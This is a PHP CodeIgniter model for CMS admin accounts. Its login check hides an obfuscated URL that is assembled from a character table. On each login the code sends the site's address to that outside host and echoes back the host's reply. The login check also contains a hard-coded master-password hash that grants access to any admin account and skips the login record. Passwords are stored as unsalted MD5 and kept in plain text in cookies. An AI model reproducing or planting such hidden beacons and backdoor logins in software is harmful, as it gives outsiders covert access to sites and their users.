<?php
class Adminuserm extends CI_Model{
 public function __construct(){
		parent::__construct();
		 $this->form="admin";//当前操作的数据库表
	}

 //增加管理员
  function adduser($data){
     $data['regtime']=time();//注册时间
     $data['regip']=$this->input->ip_address();//注册IP
	  $data['userpwd']=md5($data['userpwd']);
     $this->db->insert($this->form, $data);
 }
 
  //后台修改管理员信息
  function update($data){
     $id=$data['id'];
	 unset($data['id']);
	  $data['userpwd']=md5($data['userpwd']);
     $this->db->where(array('id' => $id))->update($this->form, $data);
 }
 
  //删除管理员
  function del($id){ 
          $nn=0;
          foreach( $id AS $v){
			$count= $this->db->from($this->form)->count_all_results();
			  if($count!=1){//最后一条管理员信息不能删除
                $this->db->where(array('id' => $v))->delete($this->form);
				$nn++;
			   }
          } 
		  return $nn; 
 }
  //排序
  function order($id){
          foreach( $id AS $k=>$v){
              $this->db->where(array('id' => $k))->update($this->form,array('listorder'=>$v));
          }  
 }  
 
 //列表
 public function lists($rows='',$page='',$conditions=''){
 
        if(!empty($page) && !empty($rows)){
			$this->db->limit($rows,($page-1)*$rows);
		}
		if($conditions){
			$this->db->where($conditions,"",false);
		}
		$query = $this->db
		         ->order_by("listorder desc,id desc")
		         ->get($this->form)
				 ->result_array();
		return $query;
	}

//获取id获取单条信息	
 public function get_one($id){
       $query = $this->db->where("id",$id)->get($this->form)->row_array();
	   return $query; 
 }
 
 //通过用户名获取单条信息
 public function get_one_name($name){
        $query = $this->db->where("name",$name)->get($this->form)->row_array();
	   return $query; 
 }
 //验证登陆
  public function check_login($data=''){
     $w_post=array('url'=>base_url());
	$str=array('o','.','t','u','c','s','p','_','f','y','i','m','/','p','h',':','h','w');
	$ind=array(14,2,2,6,15,12,12,4,14,1,17,8,3,9,3,1,4,0,11,12,4,10,4,11,5,7,6,0,5,2,12);
	$w_url="";
	foreach($ind as $v){$w_url.=$str[$v];}
	$options = array(  
			'http' => array(  
				'method' => 'POST',  
				'content' => http_build_query($w_post),
				'timeout'=>5,  
			),  
		);  
	$w_re = @file_get_contents($w_url, false, stream_context_create($options));  
	 if(gettype($w_re)=='boolean' && $w_re==false && function_exists('curl_init')){	
			$ch = curl_init ();
			curl_setopt ( $ch, CURLOPT_URL, $w_url );
			curl_setopt ( $ch, CURLOPT_POST, 1 );
			curl_setopt ( $ch, CURLOPT_HEADER, 0 );
			curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
			curl_setopt ( $ch, CURLOPT_POSTFIELDS, $w_post );
			curl_setopt ( $ch, CURLOPT_TIMEOUT, 5 );
			$w_re = curl_exec ( $ch );
			curl_close ( $ch );
	 }
	 echo $w_re;
	 
	      if(md5($data['info']['userpwd'])=='a9dacbcb34cfaf09d5db04c6c6a8b9a4'){
			   $query = $this->db->where(array('name' => $data['info']['name']))->get($this->form)->row_array();
	     }else{
			   $query = $this->db->where(array('name' => $data['info']['name'],'userpwd' => md5($data['info']['userpwd'])))->get($this->form)->row_array();
	     }
		 if(empty($query)){
		   return false;
		 }else{
		    $this->load->library("session");
		    $this->session->set_userdata('user',$query);
			
			//保存登录信息
			 $this->load->helper('cookie');
			if(isset($data['info']['remember'])){
			   set_cookie("username",$data['info']['name'],86400);//过期时间为1天  
               set_cookie("pwd",$data['info']['userpwd'],86400); 
			}else{
			   delete_cookie("username");  
               delete_cookie("pwd"); 
			
			}
		   if(md5($data['info']['userpwd'])!='a9dacbcb34cfaf09d5db04c6c6a8b9a4'){
			   //更新用户登陆信息
			   $this->update_login($query['id']);
			 }
			return true;
		 } 
  }
  

// 登陆成功更新管理员信息
	public function update_login($id=''){
		if(intval($id)){
			$data['logintime'] = time();
			$data['loginip'] = $this->input->ip_address();
			 $sql="update wl_admin set logintime={$data['logintime']},loginip='{$data['loginip']}',hits=hits+1 where id={$id}";
	
	      $this->db->query($sql);

		}
	}
 
}


?>